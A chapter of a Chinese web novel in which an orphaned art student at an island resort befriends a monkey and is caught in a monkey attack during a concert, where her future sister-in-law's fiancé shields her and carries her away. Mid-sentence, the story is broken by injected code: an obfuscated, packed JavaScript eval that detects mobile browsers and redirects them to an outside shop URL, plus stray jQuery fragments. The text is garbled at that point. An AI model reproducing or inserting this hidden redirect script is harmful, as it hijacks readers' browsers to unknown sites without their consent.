因为腿伤,梁婉在房间里休息了两天,每天她都会看着窗外的那些树发呆,然后用画笔把它们摇晃的样子画下来。
她的房间里出现了一只小猴子,梁婉跟它已经很熟了,她叫它莫奈,莫奈是一只郁乌叶猴,毛发是金色的,它只有几个月大的样子,圆圆的眼睛十分机灵。
“你来啦,莫奈?”
梁婉刚睡醒,揉了揉眼睛从床边站起来,她走路虽然会疼,但是也不至于行走困难,她推开窗,莫奈跳了进来,今天它还领了一只更大一些的猴子,大猴子毛发是灰色的,手里抓着一只毛绒狮子玩偶,在莫奈的带领下有些警惕地参观她的房间。
梁婉对这只大猴子很好奇,她观察它应该是一只雌性郁乌叶猴,她问莫奈:“这是你的亲人吗?”
莫奈看了眼梁婉,发出几声鸣叫声,然后熟练地打开冰箱,从里面拿出香蕉吃起来,大猴子见状也看向梁婉,在确认她没有攻击性后也拿了一根剥皮吃起来。
梁婉猜测这只大猴子可能是莫奈的妈妈或者姨妈,莫奈在它面前很乖顺,它们吃完香蕉,梁婉又拿出了一些干果,她注意到即便是在进食这样的重要时刻,大猴子也一直紧紧抓着那只小狮子玩偶,那对它来说似乎是非常重要的东西。
她十分好奇,早餐时一直在想这只大猴子的狮子玩偶。
“您没有胃口吗?”酒店的客房服务非常周到,管家在她用餐期间始终在一旁侍奉着,看到那些受命烹制的菜肴并没有吃多少,他用不确定的口吻躬身询问她,仿佛在确认她的身体状况。
梁婉说菜非常完美,她在千层面盒上淋了点黑松露酱,努力吃了一点。
“这两天您的伤好些了吗?”管家继续问道,同时仔细留意她说的每一个字。
梁婉没有戒心,以为是酒店的关怀服务,说伤势好多了。
即便如此,管家还是用十分正式的腔调提醒她最好不要出门走动,务必保持静养。
“这是医生的意见,希望您能听取。”
梁婉看着窗外的火山与森林,点点头,餐后不出声偷偷遛去了植物园。
植物园里薄雾弥漫,她像一朵冷水花,坐在那儿发呆,酒店的侍应生彼得发现了她,彼得高大英俊,身体像树木一样强壮,他的皮肤黝黑明亮,见了梁婉礼貌问好,询问她的腿伤是否痊愈。
梁婉说已经快好了,她很感谢这两天工作人员的照顾,不管是管家还是医生都很关注她的身体状况。
但彼得见她走路并不是很流利的样子。
“您请等一下。”
彼得从口袋里拿出几瓶幽绿色的小瓶,送给梁婉。
“这是月桂油,这个是薰衣草,还有桉树油和互叶白千层。”
他说这些精油都是他祖母从天然植物里提炼的,彼得的祖母是绿岛原住民,目前在酒店做芳香理疗师,她制作的精油有疗愈心灵的功效,可以加快伤疾的愈合。
“祖母常说植物知晓一切,它们只说给听得懂痛苦的人。”
彼得把手贴在地面,土地上长满了金缕梅和车前草,他用传统仪式祈祷了一会儿,然后对梁婉说绿岛被开发后人就多了,土地和海洋被资本圈禁垄断,以后全球的富豪会成片来度假,这里会完全商业化。
他腼腆笑了笑:“但还好天空是大家的,我们都能看到云彩。”
两人谈话变熟了一些,梁婉问他知不知道一只抓着狮子玩偶的猴子。
“是弗里达吗?”
彼得说那只猴子叫弗里达,弗里达生的小猴子去年冬天夭折了,从那之后就一直抓着这个狮子玩偶,估计是把它当成孩子了。
“最近酒店员工一直驱赶猴子,因为客人们反馈猴群的噪音令他们难以入眠,还有一些鸟,他们会用一些工具去驱逐它们,但我不想做那种事。”
彼得对绿岛的生态很担忧,他担心未来人与自然和谐相处的状态被破坏。
梁婉默默听着他讲话,彼得走后,她一个人在植物园坐了很久,试探着对大地伸出手,手掌贴近泥土,传来冰凉潮湿的温度,雨树根在地下搅动,松软娇嫩的野花轻轻摇撼着。
梁婉摸了摸树干和花瓣,听着它们的诉说,从小她就对植物有一种莫名的感情,那是一种近乎天然的亲切感。
十八年前的清晨,梁婉是在落叶堆里被发现的,孤儿院门前落叶埋得很厚,被风一吹,露出了她冻红的脸,她被从襁褓里抱进了孤儿院,树叶的味道从此埋进了记忆里。叶片像是她幻想的盔壳,从小有什么心事她都习惯对着植物说,给昆虫的葬礼也是在花丛或者大树下举办。
梁婉安静蜷缩身体,默默跟大树说她很疼,不只是腿上的。
头顶传来了呜呜鸣叫声,竟然是莫奈,它瞪着圆滚滚的眼睛看梁婉。
梁婉叫它的名字,但莫奈这次却没有过来,它的眼睛对她含有警戒,跟她始终保持着一段距离。
梁婉注意到它的手臂受伤了,像是被石头打伤的。
“莫奈,你怎么受伤了呢?”
梁婉想起彼得的话,莫奈大概也遭到了酒店员工的暴力驱赶。
“他们打你吗?”
梁婉很心疼,她试图把莫奈叫过来给它包扎伤口,但莫奈显然不想跟她靠近,在它眼中人类是一种十分危险的生物。
“莫奈,对不起,这里是你的家,我们才是闯入者。”
梁婉声音低低的,感到很难过,莫奈对她的信任已经完全破坏了。
身后传来脚步声,梁婉感到有人站在那儿,那种濒临的压迫感似曾相识。
她惊恐地转过身,纪临身姿修长站在那儿,已经看了她好一会儿。
梁婉一下子拘谨起来,叫了声大哥。
“你跟它关系很好吗?”纪临指了指树上的小猴子。
“嗯,它叫莫奈。”
“莫奈,大画家的名字。”纪临点点头,“药用了吗?”
梁婉一惊,才知道原来药箱是大哥送的。
“用了。”她急忙对大哥道谢,说腿伤已经快好了。
“嗯。”纪临看起来并没有什么话要说,两人维持了很长的时间的静默。
“啊,亲爱的你在这儿。”
宁芙一出现,梁婉顿觉气氛没有那么难熬了。
她默默用获救的眼神看大嫂,觉得有这样一位亲和温柔的大嫂是很幸福的事。
“你有什么事吗?”纪临看着自己的未婚妻问道。
“当然有事啊,亲爱的。”
宁芙神神秘秘地对两人说今晚入夜仪式过后音乐厅会举办音乐会,并且有特邀嘉宾出席。
“这是纪寻的提议,办些演奏会会热闹些,但我没想到那位大师真的有档期。”
她说钢琴家已经答应了邀约,中午飞机就会到达。
“一定要出席哦。”宁芙当着未婚夫的面,特意重重地亲了梁婉面颊一下。
梁婉害羞地点点头。
“梁婉妹妹,那我们晚上见。”
宁芙上前活泼地挽起纪临的胳膊,纪临不动声色侧身避开了。
他们隔着一段距离并肩行走。
梁婉看到了刚刚的那一幕,感觉大哥和大嫂之间相处模式有些奇怪。
在外人面前他们似乎有些过分生疏了。
可能他们私下里相处感情会更好。
之前夫人说过他们很快要结婚了,如果感情不好的两个人是不会结婚的。
梁婉看着他们的背影,很羡慕两个真心相爱的人能在一起。
她的眸光安静而悲伤,想起自己那段时常在梦里出现的初恋,少年触碰又犹豫的手,两人在阳光下的笑脸,那些带着微微酸胀的心跳声传遍心脏,每当这时她都会醒来,很清楚这样的事永远都不会在她身上发生。
-
宁芙对这场音乐会极为用心,她将整座花园隆重搬进了音乐厅。
美术班早早就到了,用赞叹的目光欣赏着面前华丽的景观,花园修剪得很有美感,平铺的水面扩大了视野,园林植被加长了纵深,显得空间舒展,整座音乐厅仿佛在向上垂直生长。
从美术的角度讲他们认为这样的结构设计很精巧,并且给他们一种人类可以左右自然的骄傲感。
“我们坐哪里?”
“不知道,不过一定要把纪寻和怀斯黛尔隔开。”
这两天纪寻和怀斯黛尔正式宣战,在明天的时尚晚宴之前,纪寻突然通知大家,同一时间他要举办Party,并且强烈要求美术班全体出席。
“纪寻,你要办什么Party啊?”大家都觉得突然。
叶子文私下里跟他们说纪寻要过生日了,那晚正好是他生日。
这下美术班都犯了难,两边都在抢人,该去哪一边呢。
纪临出席了这场音乐会,他穿着优雅的铁灰色西装,威严庄重,学生们见了都规规矩矩问好。
宁芙为客人安排了座次,纪家在第一排中心的位置,纪临坐在主位,身旁是两个弟弟妹妹。
纪寻跟哥哥打了招呼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788781|210283||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,有大哥在场,他很安静,穿戴整洁,他搬着下巴看了眼梁婉,他们已经有两天没见面了,如今碰到了也没有说话,彼此沉默地坐在兄长身边。
大幕缓缓升起,享誉世界的古典乐大师出现在舞台中央,他的手侧是一架施坦威三角钢琴,琴身在夜幕下闪烁着明亮的勃艮第红色。
众人眼中闪过了震惊,没想到宁芙能把世界排名第一的音乐大师请来,他们都不觉挺直了腰身,能现场听到这样的瑰宝级音乐家演奏是一件非常荣誉的事。
钢琴家缓缓落指,华丽通透的音色穿透夜空,他的强奏磅礴如雷鸣,弱奏精微如私语,所有人都专注地望着台上,情绪随琴声波澜起伏,梁婉在这时把头歪向了遥远的音乐厅入口,她似乎听到了猴子的声音,不是简单的一两只,是整片猴群。
猴子的叫声随着琴声呜咽,愈演愈烈,最后人们都发现了异常,猴群疯狂涌进了大厅,它们身上或多或少都有伤口,用硕大突出的眼睛跟人类对视。
宁芙立刻示意工作人员把这群猴子驱赶,她起身说明情况:“这只是个小插曲,我们会马上——”
她的话还未说完,猴子破坏了电闸,大厅陷入一片黑暗。
猴群撕咬着冲向人群,尖叫声此起彼伏,人群一阵哄乱,四散奔逃,梁婉被重重推了一下,摔倒在纪临腿上。
她慌忙从他身上爬起来:“大哥...”
“别动。”
她的手被抓住,带到坚硬陌生的臂弯里,梁婉一瞬间闻到了男人西装上隐隐散发的雪松味道,干净、冷冽、刺激,像她住院时闻到的消毒水,装在透明的玻璃瓶中冰凉摇晃。
她的耳边倏地飞过一块石头,直直砸中身后的叶子文,叶子文应声倒下,叫声凄厉,令猴群纷纷侧目。
“救命啊,猴子打我。”叶子文头破血流,又有几只猴子迅速跳来袭击他。
纪寻怒了,带领大家去迎战,人猴两方陷入混战。
钢琴家的演奏已经停下了,大厅像夜晚一样黑,静水中灰暗的厅堂,香枝在细细燃烧,发出仅有的一点零星火光。
男人的手臂箍住了身体,像铁一样冰冷有力,梁婉心脏狂跳,蜷缩地贴在纪临胸口,大厅外不时传来踩踏尖叫声,猴群的爪印包围了酒店,雨珠在地面分裂滚落,变成轻盈的碎片,所有人都在奔跑。
梁婉的手心开始渗出冷汗,慢慢变湿,带着男人皮肤的体温,外面的暴雨声冰冷逼近了,她身体紧绷,发丝不安地晃动,试图用力抽手,但发现自己无法挣脱。
纪临沉声让她不要动,说外面很危险,他的手一直抓着她,就像轻轻拂过,但力道却让她无法挣脱,梁婉低下头,听着他胸膛里的心跳声,他说话时呼吸淡淡蹭过她颈侧,她的大脑一片空白。
纪寻召集的人越来越多,声势浩大,猴群一看竟然有退却之意,双方当晚停战,最后这场混乱以叶子文的受伤平息。
音乐厅内点上了蜡烛,蜡油静静燃烧,烛光升到空中,变成细长的烟丝,酒店组织客人疏散撤离,梁婉看到每个人的影子在墙上舞动,拉长扭曲,那些影子的形状让她想起画布上着了火的花。
纪临的手已经松开了,他抽出胸口的手帕,递给她擦汗,手背上的青筋淡淡擦过她的手腕,仿佛一切动乱都不曾发生。
“没受伤吧?”他问道。
“没有。”梁婉低声应。
“嗯。”
纪临坐在主位上,目光平静地望着前方,烛光轻盈晃动,他的眼尾垂下一抹冷光,舞台上的那座钢琴正在他的眼中跳动着。
宁芙最后出来致歉,很抱歉地解释因为猴群肆虐,又正值深夜暴雨,维修人员作业困难,暂时不确定电闸抢修的时间,在此期间酒店的网络临时陷入瘫痪,并且要暂停供水。
大家叫苦连天,在经历了今晚的剧变后疲惫地返回房间,梁婉跟着站起身,一时险些跌倒,她急忙抓住椅背扶稳。
“你的腿。”纪寻望着她,皱起眉。
刚刚情况太乱了,很多人挤到了她的腿,伤口重新撕裂,她的膝盖很疼。
梁婉说不碍事的。
“今晚药上了吗?”
梁婉说还没有。
纪临视线移到她的大腿:“今晚停水停电,你的房间很不利于清理伤口。”
梁婉还在说不碍事。
纪临只是轻轻一托就把她抱起来了。
一阵风从耳畔掠过,她被他抱在怀里。
“去我那里。”他的声音不容违逆。